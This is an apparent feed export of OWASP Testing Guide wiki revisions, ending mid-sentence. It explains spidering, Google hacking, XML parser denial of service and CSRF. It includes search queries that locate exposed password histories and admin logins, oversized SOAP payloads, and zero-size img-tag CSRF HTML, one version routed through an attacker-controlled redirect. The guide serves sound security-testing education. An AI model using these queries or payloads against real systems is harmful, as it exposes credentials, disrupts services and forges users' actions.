site:www.xxxx.org AND filetype:wsdl wsdl&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The filetype operator is used to find specific kind of files on the web-site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Using a search engine to discover virtual hosts'''&lt;br /&gt;
&lt;br /&gt;
Live.com, another well-known search engine (see link at the bottom of the page), provides the &amp;quot;ip&amp;quot; operator, which returns all the pages that are known to belong to a certain IP address. This is a very useful technique to find out which virtual hosts are configured on the tested server. For instance, the following query will return all indexed pages belonging to the domain owasp.org:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ip:216.48.3.18&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Johnny Long: &amp;quot;Google Hacking&amp;quot; - http://johnny.ihackstuff.com&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Google – http://www.google.com&amp;lt;br&amp;gt;&lt;br /&gt;
* Live Search - http://www.live.com&lt;br /&gt;
* wget - http://www.gnu.org/software/wget/&lt;br /&gt;
* Foundstone SiteDigger - http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&amp;amp;subcontent=/resources/proddesc/sitedigger.htm&lt;br /&gt;
* NTOInsight - http://www.ntobjectives.com/freeware/index.php&amp;lt;br&amp;gt;&lt;br /&gt;
* Burp Spider - http://portswigger.net/spider/&amp;lt;br&amp;gt;&lt;br /&gt;
* Wikto - http://www.sensepost.com/research/wikto/&amp;lt;BR&amp;gt;&lt;br /&gt;
* Googlegath - http://www.nothink.org/perl/googlegath/&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=16669</id>
		<title>Testing: Spidering and googling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=16669"/>
				<updated>2007-02-22T23:06:43Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* Googling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] &amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
This section describes how to retrieve information about the application being tested using spidering and googling techniques.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Web spiders are the most powerful and useful tools developed for both good and bad intentions on the internet. A spider serves one major function, Data Mining. The way a typical spider (like Google) works is by crawling a web site one page at a time, gathering and storing the relevant information such as email addresses, meta-tags, hidden form data, URL information, links, etc. The spider then crawls all the links in that page, collecting relevant information in each following page, and so on. Before you know it, the spider has crawled thousands of links and pages gathering bits of information and storing it into a database. This web of paths is where the term 'spider' is derived from. &lt;br /&gt;
&lt;br /&gt;
The Google search engine found at http://www.google.com offers many features, including language and document translation; web, image, newsgroups, catalog, and news searches; and more. These features offer obvious benefits to even the most uninitiated web surfer, but these same features offer far more nefarious possibilities to the most malicious Internet users, including hackers, computer criminals, identity thieves, and even terrorists. This article outlines the more harmful applications of the Google search engine, techniques that have collectively been termed &amp;quot;Google Hacking.&amp;quot;&lt;br /&gt;
In 1992, there were about 15,000 web sites, in 2006 the number has exceeded 100 million.   What if a simple query to a search engine like Google such as &amp;quot;Hackable Websites w/ Credit Card Information&amp;quot; produced a list of websites that contained customer credit card data of thousands of customers per company?  &lt;br /&gt;
If the attacker is aware of a web application that stores a clear text password file in a directory and wants to gather these targets, then he could search on &amp;quot;intitle:&amp;quot;Index of&amp;quot; .mysql_history&amp;quot; and the search engine will provide him with a list of target systems that may divulge these database usernames and passwords (out of a possible 100 million web sites available). Or perhaps the attacker has a new method to attack a Lotus Notes web server and simply wants to see how many targets are on the internet, he could search on &amp;quot;inurl:domcfg.nsf&amp;quot;. Apply the same logic to a worm looking for its new victim.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===Spidering===&lt;br /&gt;
&lt;br /&gt;
'''Description and goal'''&lt;br /&gt;
&lt;br /&gt;
Our goal is to create a map of the application with all the points of access (gates) to the application.&lt;br /&gt;
This will be useful for the second active phase of penetration testing.&lt;br /&gt;
You can use a tool such as wget (powerful and very easy to use) to retrieve all the information published by the application.&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
The -s option is used to collect the HTTP header of the web requests. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget -s &amp;lt;target&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Tue, 12 Dec 2006 20:46:39 GMT&lt;br /&gt;
Server: Apache/1.3.37 (Unix) mod_jk/1.2.8 mod_deflate/1.0.21 PHP/5.1.6 mod_auth_&lt;br /&gt;
passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.26&lt;br /&gt;
34a mod_ssl/2.8.28 OpenSSL/0.9.7a&lt;br /&gt;
X-Powered-By: PHP/5.1.6&lt;br /&gt;
Set-Cookie: PHPSESSID=b7f5c903f8fdc254ccda8dc33651061f; expires=Friday, 05-Jan-0&lt;br /&gt;
7 00:19:59 GMT; path=/&lt;br /&gt;
Expires: Sun, 19 Nov 1978 05:00:00 GMT&lt;br /&gt;
Last-Modified: Tue, 12 Dec 2006 20:46:39 GMT&lt;br /&gt;
Cache-Control: no-store, no-cache, must-revalidate&lt;br /&gt;
Cache-Control: post-check=0, pre-check=0&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=utf-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
The -r option is used to collect recursively the web-site's content and the -D option restricts the request only for the specified domain.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget -r -D &amp;lt;domain&amp;gt; &amp;lt;target&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
22:13:55 (15.73 KB/s) - `www.******.org/indice/13' saved [8379]&lt;br /&gt;
&lt;br /&gt;
--22:13:55--  http://www.******.org/*****/********&lt;br /&gt;
           =&amp;gt; `www.******.org/*****/********'&lt;br /&gt;
Connecting to www.******.org[xx.xxx.xxx.xx]:80... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: unspecified [text/html]&lt;br /&gt;
&lt;br /&gt;
    [   &amp;lt;=&amp;gt;                                                                                                                                                                ] 11,308        17.72K/s                     &lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Googling===&lt;br /&gt;
&lt;br /&gt;
'''Description and goal'''&lt;br /&gt;
&lt;br /&gt;
The scope of this activity is to find information about a single web site published on the internet or to find a specific kind of application such as Webmin or VNC.&lt;br /&gt;
There are tools available that can assist with this technique, for example googlegath, but it is also possibile to perform this operation manually using Google's web site search facilities.  This operation does not require specialist technical skills and is a good way to collect information about a web target.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Useful Google Advanced Search techniques '''&lt;br /&gt;
&lt;br /&gt;
* Use the plus sign (+) to force a search for an overly common word. Use the minus sign (-) to exclude a term from a search. No spaces follow these signs.&lt;br /&gt;
* To search for a phrase, supply the phrase surrounded by double quotes (&amp;quot; &amp;quot;).&lt;br /&gt;
* A period (.) serves as a single-character wildcard.&lt;br /&gt;
* An asterisk (*) represents any word —- not the completion of a word, as is traditionally used.&lt;br /&gt;
&lt;br /&gt;
Google advanced operators help refine searches. Advanced operators use the following syntax: operator:search_term . Notice that there is no space between the operator, the colon, and the search term. A list of operators and search terms follows:&lt;br /&gt;
* The ''site'' operator instructs Google to restrict a search to a specific web site or domain. The web site to search must be supplied after the colon.&lt;br /&gt;
* The ''filetype'' operator instructs Google to search only within the text of a particular type of file. The file type to search must be supplied after the colon. Don't include a period before the file extension.&lt;br /&gt;
* The ''link'' operator instructs Google to search within hyperlinks for a search term.&lt;br /&gt;
* The ''cache'' operator displays the version of a web page as it appeared when Google crawled the site. The URL of the site must be supplied after the colon.&lt;br /&gt;
* The ''intitle'' operator instructs Google to search for a term within the title of a document.&lt;br /&gt;
* The ''inurl'' operator instructs Google to search only within the URL (web address) of a document. The search term must follow the colon.&lt;br /&gt;
&lt;br /&gt;
The following are a set googling examples (for a complete list look at [1]):&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
site:www.xxxxx.ca AND intitle:&amp;quot;index.of&amp;quot; &amp;quot;backup&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The operator site: restricts a search in a specific domain, while the intitle: operator makes it possibile to find the pages that contain &amp;quot;index of backup&amp;quot; as a link title of the Google output.&amp;lt;br&amp;gt;&lt;br /&gt;
The AND boolean operator is used to combine more conditions in the same query.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Index of /backup/&lt;br /&gt;
&lt;br /&gt;
 Name                    Last modified       Size  Description&lt;br /&gt;
&lt;br /&gt;
 Parent Directory        21-Jul-2004 17:48      -  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;Login to Webmin&amp;quot; inurl:10000&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The query produces an output with every Webmin authentication interface collected by Google during the spidering process.&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
site:www.xxxx.org AND filetype:wsdl wsdl&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The filetype operator is used to find specific kind of files on the web-site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Using a search engine to discover virtual hosts'''&lt;br /&gt;
&lt;br /&gt;
Live.com, another well-known search engine (see link at the bottom of the page), provides the &amp;quot;ip&amp;quot; operator, which returns all the pages that are known to belong to a certain IP address. This is a very useful technique to find out which virtual hosts are configured on the tested server. For instance, the following query will return all indexed pages belonging to the domain owasp.org:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ip:216.48.3.18&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Johnny Long: &amp;quot;Google Hacking&amp;quot; - http://johnny.ihackstuff.com&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Google – http://www.google.com&amp;lt;br&amp;gt;&lt;br /&gt;
* wget - http://www.gnu.org/software/wget/&lt;br /&gt;
* Foundstone SiteDigger - http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&amp;amp;subcontent=/resources/proddesc/sitedigger.htm&lt;br /&gt;
* NTOInsight - http://www.ntobjectives.com/freeware/index.php&amp;lt;br&amp;gt;&lt;br /&gt;
* Burp Spider - http://portswigger.net/spider/&amp;lt;br&amp;gt;&lt;br /&gt;
* Wikto - http://www.sensepost.com/research/wikto/&amp;lt;BR&amp;gt;&lt;br /&gt;
* Googlegath - http://www.nothink.org/perl/googlegath/&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Structural_(OWASP-WS-003)&amp;diff=15976</id>
		<title>Testing for XML Structural (OWASP-WS-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Structural_(OWASP-WS-003)&amp;diff=15976"/>
				<updated>2007-01-30T21:52:01Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* Black Box Testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==Brief Summary==&lt;br /&gt;
XML, to function properly needs to be well-formed. XML which is not well-formed shall fail when parsed by the XML parser on the server side. A parser needs to run thorough the entire xml message in a serial manner in order to assess the XML well-formedness.&lt;br /&gt;
&lt;br /&gt;
An XML parser is also very CPU labour intensive. Some attack vectors exploit this weakness by sending very large or malformed xml messages.&lt;br /&gt;
&lt;br /&gt;
Attackers can create XML documents which are structured in such a way as to create a denial of service attack on the receiving server by tying up memory and CPU resources. This occurs via overloading the XML parser which is very CPU intensive in any case.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
This section discusses the types of attack vectors one could send to web service in an attempt to assess its reaction to malformed or maliciously crafted messgaes&lt;br /&gt;
&lt;br /&gt;
''For example'', &lt;br /&gt;
elements which contain large numbers of attributes can cause problems with parsers. This category of attack also includes XML documents which are not well-formed XML &lt;br /&gt;
(e.g. with overlapping elements,or with open tags that have no matching close tags).&lt;br /&gt;
DOM based parsing can be vulnerable to DoS due to the fact that the complete message is loaded into memory (as opposed to SAX parsing) oversized attachments can cause an issue with DOM architectures.&lt;br /&gt;
&lt;br /&gt;
'''Web Services weakness:''' You have to parse XML via SAX or DOM before one validates the structure and content of the message.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and example==&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
Malformed structure:&lt;br /&gt;
The XML message must be well formed in order to be successfully parsed. Malformed SOAP messages may cause unhandled exceptions to occur;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;note id=&amp;quot;666&amp;quot;&amp;gt;&lt;br /&gt;
 '''&amp;lt;to&amp;gt;'''OWASP&lt;br /&gt;
 &amp;lt;from&amp;gt;EOIN&amp;lt;/from&amp;gt;&lt;br /&gt;
 &amp;lt;heading&amp;gt;I am Malformed '''&amp;lt;/to&amp;gt;'''&lt;br /&gt;
 &amp;lt;/heading&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;Don’t forget me this weekend!&amp;lt;/body&amp;gt;&lt;br /&gt;
 &amp;lt;/note&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A web service utilizing DOM based parsing can be &amp;quot;upset&amp;quot; by including a very large payload in the XML message which the parser would be obliged to parse:&lt;br /&gt;
&lt;br /&gt;
'''VERY LARGE &amp;amp; UNEXPECTED PAYLOAD:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Envelope&amp;gt;&lt;br /&gt;
 &amp;lt;Header&amp;gt;&lt;br /&gt;
    &amp;lt;wsse:Security&amp;gt;&lt;br /&gt;
      &amp;lt;Hehehe&amp;gt;I am a Large String (1MB)&amp;lt;/Hehehe&amp;gt;&lt;br /&gt;
      &amp;lt;Hehehe&amp;gt;I am a Large String (1MB)&amp;lt;/Hehehe&amp;gt;&lt;br /&gt;
      &amp;lt;Hehehe&amp;gt;I am a Large String (1MB)&amp;lt;/Hehehe&amp;gt;&lt;br /&gt;
      &amp;lt;Hehehe&amp;gt;I am a Large String (1MB)&amp;lt;/Hehehe&amp;gt;&lt;br /&gt;
      &amp;lt;Hehehe&amp;gt;I am a Large String (1MB)&amp;lt;/Hehehe&amp;gt;&lt;br /&gt;
      &amp;lt;Hehehe&amp;gt;I am a Large String (1MB)&amp;lt;/Hehehe&amp;gt;&lt;br /&gt;
      &amp;lt;Hehehe&amp;gt;I am a Large String (1MB)&amp;lt;/Hehehe&amp;gt;…&lt;br /&gt;
     &amp;lt;Signature&amp;gt;…&amp;lt;/Signature&amp;gt;&lt;br /&gt;
    &amp;lt;/wsse:Security&amp;gt;&lt;br /&gt;
  &amp;lt;/Header&amp;gt;&lt;br /&gt;
  &amp;lt;Body&amp;gt;&lt;br /&gt;
    &amp;lt;BuyCopy&amp;gt;&amp;lt;ISBN&amp;gt;0098666891726&amp;lt;/ISBN&amp;gt;&amp;lt;/BuyCopy&amp;gt;&lt;br /&gt;
  &amp;lt;/Body&amp;gt;&amp;lt;/Envelope&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Binary attachments:'''&lt;br /&gt;
&lt;br /&gt;
Web Services can also have a binary attachment such as a Blob or exe.&lt;br /&gt;
Web service attachments are encoded in base64 format since the trend is that DIME (Direct Internet Message Encapsulation) seems to be a dead-end solution.&lt;br /&gt;
&lt;br /&gt;
By attacking a very large base64 string to the message this may consume parser resources to the point of affecting availability. Additional attacks may include the injection of a infected binary file into the base64 binary stream.&lt;br /&gt;
Inadequate parsing of such an attachment may exhaust resources:&lt;br /&gt;
&lt;br /&gt;
'''UNEXPECTED LARGE BLOB:'''&lt;br /&gt;
 &amp;lt;Envelope&amp;gt;&lt;br /&gt;
  &amp;lt;Header&amp;gt;&lt;br /&gt;
    &amp;lt;wsse:Security&amp;gt;&lt;br /&gt;
      &amp;lt;file&amp;gt;jgiGldkooJSSKFM%()LFM$MFKF)$KRFWF$FRFkflfkfkkorepoLPKOMkjiujhy:llki-123-01ke123-&lt;br /&gt;
       04QWS03994k£R$Trfe£elfdk4r-45kgk3lg&amp;quot;£!04040lf;lfFCVr$V$BB^^N&amp;amp;*&amp;lt;M&amp;amp;NNB%...........10MB&amp;lt;/file&amp;gt;&lt;br /&gt;
     &amp;lt;Signature&amp;gt;…&amp;lt;/Signature&amp;gt;&lt;br /&gt;
    &amp;lt;/wsse:Security&amp;gt;&lt;br /&gt;
  &amp;lt;/Header&amp;gt;&lt;br /&gt;
  &amp;lt;Body&amp;gt;&lt;br /&gt;
    &amp;lt;BuyCopy&amp;gt;&amp;lt;ISBN&amp;gt;0098666891726&amp;lt;/ISBN&amp;gt;&amp;lt;/BuyCopy&amp;gt;&lt;br /&gt;
  &amp;lt;/Body&amp;gt;&lt;br /&gt;
 &amp;lt;/Envelope&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Grey Box Testing and example==&lt;br /&gt;
&lt;br /&gt;
If one has access to the schema of the web service it should be examined. One should assess that all the parameters are being data validated.&lt;br /&gt;
Restrictions on appropriate values should be implemeneted in accordance to data validation best practice.&lt;br /&gt;
&lt;br /&gt;
 '''enumeration''': Defines a list of acceptable values &lt;br /&gt;
&lt;br /&gt;
 '''fractionDigits''': Specifies the maximum number of decimal places allowed. &lt;br /&gt;
 Must be equal to or greater than zero &lt;br /&gt;
&lt;br /&gt;
 '''length''': Specifies the exact number of characters or list items allowed. &lt;br /&gt;
 Must be equal to or greater than zero &lt;br /&gt;
&lt;br /&gt;
 '''maxExclusive''': Specifies the upper bounds for numeric values &lt;br /&gt;
 (the value must be less than this value) &lt;br /&gt;
&lt;br /&gt;
 '''maxInclusive''': Specifies the upper bounds for numeric values &lt;br /&gt;
 (the value must be less than or equal to this value) &lt;br /&gt;
&lt;br /&gt;
 '''maxLength''': Specifies the maximum number of characters or list items allowed. &lt;br /&gt;
 Must be equal to or greater than zero &lt;br /&gt;
&lt;br /&gt;
 '''minExclusive''': Specifies the lower bounds for numeric values &lt;br /&gt;
 (the value must be greater than this value) &lt;br /&gt;
&lt;br /&gt;
 '''minInclusive''': Specifies the lower bounds for numeric values &lt;br /&gt;
 (the value must be greater than or equal to this value) &lt;br /&gt;
&lt;br /&gt;
 '''minLength''': Specifies the minimum number of characters or list items allowed. &lt;br /&gt;
 Must be equal to or greater than zero &lt;br /&gt;
&lt;br /&gt;
 '''pattern''': Defines the exact sequence of characters that are acceptable&lt;br /&gt;
&lt;br /&gt;
 '''totalDigits''': Specifies the exact number of digits allowed. Must be greater than zero.&lt;br /&gt;
&lt;br /&gt;
 '''whiteSpace''': Specifies how white space &lt;br /&gt;
 (line feeds, tabs, spaces, and carriage returns) is handled&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP WebScarab: Web Services plugin - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_CSRF_(OTG-SESS-005)&amp;diff=15473</id>
		<title>Testing for CSRF (OTG-SESS-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_CSRF_(OTG-SESS-005)&amp;diff=15473"/>
				<updated>2007-01-17T09:51:09Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==Brief Summary==&lt;br /&gt;
'''Note:''' There is no unified term for the class of vulnerabilities which we are going to discuss next. We will stick to “Session Riding”, which is the term used in [3]; another term used in literature is “Cross Site Request Forgeries (CSRF/XSRF)” [2]. This confusion appears to originate from the fact that these vulnerabilities, which were first analyzed in 2000 [1], are often rediscovered by different people – and are soon forgotten. By no means is this indicative of low importance; rather, it is surprising that vulnerabilities whose impact may be so severe get constantly neglected. But let’s move on with the details.&lt;br /&gt;
&lt;br /&gt;
Session Riding is about forcing an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With little help of social engineering (like sending link via email/chat), the pentester may force the users of the web application to execute desired actions of his own. Successful Session Riding exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application that is being tested.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
The way Session riding is accomplished relies on the following facts:&amp;lt;br&amp;gt;&lt;br /&gt;
1) Web browser behavior regarding the handling of session-related information such as cookies and http authentication information;&amp;lt;br&amp;gt;&lt;br /&gt;
2) Knowledge of valid web application URLs on the side of the attacker;&amp;lt;br&amp;gt;&lt;br /&gt;
3) Application session management relying only on information which is known by the browser;&amp;lt;br&amp;gt;&lt;br /&gt;
4) Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag ''img''.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Points 1, 2, and 3 are essential for the vulnerability to be present, while point 4 is accessory and facilitates the actual exploitation, but is not strictly required.&lt;br /&gt;
&lt;br /&gt;
Point 1) Browsers automatically send information which is used to identify a user session. Suppose ''site'' is a site hosting a web application, and the user ''victim'' has just authenticated himself to ''site''. In response, ''site'' sends ''victim'' a cookie which identifies  requests send by ''victim'' as belonging to ''victim’s'' authenticated session. Basically, once the browser receives the cookie set by ''site'', it will automatically send it along with any further requests directed to ''site''.&lt;br /&gt;
&lt;br /&gt;
Point 2) If the application does not make use of session-related information in URLs, then it means that the application URLs, their parameters and legitimate values may be identified (either by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML/JavaScript).&lt;br /&gt;
&lt;br /&gt;
Point 3) By “known by the browser” we mean information such as cookies or http-based authentication information (such as Basic Authentication; NOT form-based authentication), which are stored by the browser and subsequently resent at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which rely entirely on this kind of information to identify a user session.&lt;br /&gt;
&lt;br /&gt;
Suppose, for simplicity's sake, to refer to GET-accessible URLs (though the discussion applies as well to POST requests). If ''victim'' has already authenticated himself, submitting another request causes the cookie to be automatically sent with it (see picture, where the user accesses an application on www.example.com).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:session_riding.GIF]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The GET request could be originated in several different ways:&lt;br /&gt;
&lt;br /&gt;
* by the user, who is using the actual web application;&lt;br /&gt;
* by the user, who types the URL it directly in the browser;&lt;br /&gt;
* by the user, who follows a link (external to the application) pointing to the URL.&lt;br /&gt;
&lt;br /&gt;
These invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There is a number of techniques (and of vulnerabilities) which can disguise the real properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e. the link appears in content hosted elsewhere (another web site, an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on ''site'', the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation performed on the web application – probably not what the user expects to happen! Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications...&lt;br /&gt;
&lt;br /&gt;
By using a tag such as ''img'', as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=”https://www.company.example/action” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What the browser will do when it displays this page is that it will try to display the specified zero-width (i.e., invisible) image as well. This results into a request being automatically sent to the web application hosted on ''site''. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the ''src'' field anyway; this happens provided that images download is not disabled in the browsers, which is a typical configuration since disabling images would cripple most web applications beyond usability.&lt;br /&gt;
&lt;br /&gt;
The problem here is a consequence of the following facts:&lt;br /&gt;
&lt;br /&gt;
* there are HTML tags whose appearance in a page result in automatic http request execution (''img'' being one of those);&lt;br /&gt;
* the browser has no way to tell that the resource referenced by ''img ''is not actually an image and is in fact not legitimate;&lt;br /&gt;
* image loading happens regardless of the location of the alleged image, i.e. the form and the image itself need not be located in the same host, not even in the same domain. While this is a very handy feature, it makes difficult to compartmentalize applications.&lt;br /&gt;
&lt;br /&gt;
It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that the browser automatically composes a legal request towards the application, that allows such kind of attacks. As no standards are defined right now, there is no way to prohibit this behavior unless it is made impossible for the attacker to specify valid application URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the attacker and therefore make the identification of such URLs impossible.&lt;br /&gt;
&lt;br /&gt;
The problem might be even worse, since in integrated mail/browser environments simply displaying an email message containing the image would result in the execution of the request to the web application with the associated browser cookie.&lt;br /&gt;
&lt;br /&gt;
Things may be obfuscated further, by referencing seemingly valid image URLs such as&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=”https://[attacker]/picture.gif” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on http://[attacker]/picture.gif to http://[thirdparty]/action.&lt;br /&gt;
&lt;br /&gt;
Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This DOES NOT include form-based authentication, which occurs just once and generates some form of session-related information (of course, in this case, such information is expressed simply as a cookie and can we fall back to one of the previous cases).&lt;br /&gt;
&lt;br /&gt;
'''Sample scenario.'''&lt;br /&gt;
&lt;br /&gt;
Let’s suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself; subsequently, session information is stored in a cookie.&lt;br /&gt;
&lt;br /&gt;
Let's suppose our firewall web management application has a function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if the user enters ‘*’ (quite a dangerous feature, but will make the example more interesting). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request, which will be of the form&lt;br /&gt;
